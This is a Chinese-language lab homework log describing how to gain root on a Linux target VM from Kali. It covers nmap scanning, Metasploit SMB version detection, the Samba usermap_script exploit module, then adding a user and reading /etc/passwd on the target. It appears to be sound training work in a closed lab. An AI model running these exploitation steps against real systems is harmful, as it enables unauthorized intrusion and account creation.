12.23 作业记录

获取Linux系统的root权限

1.启动靶机和Kali系统

启动靶机

启动Kali

2.信息收集（采集） nmap

2.1 查找存活主机

nmap 192.168.198.132 【由于网络配置更改，所以使用的IP地址在后文有修改】

(修改两虚拟机在同一网段的具体流程：

 依次点击 “更改配置” +> “还原默认设置”

 检查攻击机和靶机的网络适配器（这里需要一样，若不一样，需要手动修改）

 

 

)

2.2 扫描开放端口

nmap -sS -Pn -A 192.168.204.129  #【-Pn 有点问题】

3. 查找漏洞信息

3.1 收集具体的版本号与对应的漏洞

漏洞收集工具（数据库） metasploite

search scanner/smb #查找smb协议

（或者 在kali界面 右上角 

点击“ metasploit framework”  可切换 [ msf6 > ] ）

use auxiliary/scanner/smb/smb_version    #使用版本探测器

3.2 查找相应的漏洞工具

3.3 利用漏洞工具进行攻击

use exploit/multi/samba/usermap_script  //切换漏洞工具

show options  //显示需要在攻击前需要设置的数据

set RHOSTS 192.168.204.129  #此为靶机IP地址

（在这里直接输入下面的命令）

4. 获取目标机的 root 权限。新建一个用户

攻击机创建用户

useradd -m test

前往靶机查看

cat /etc/passwd  #查看用户信息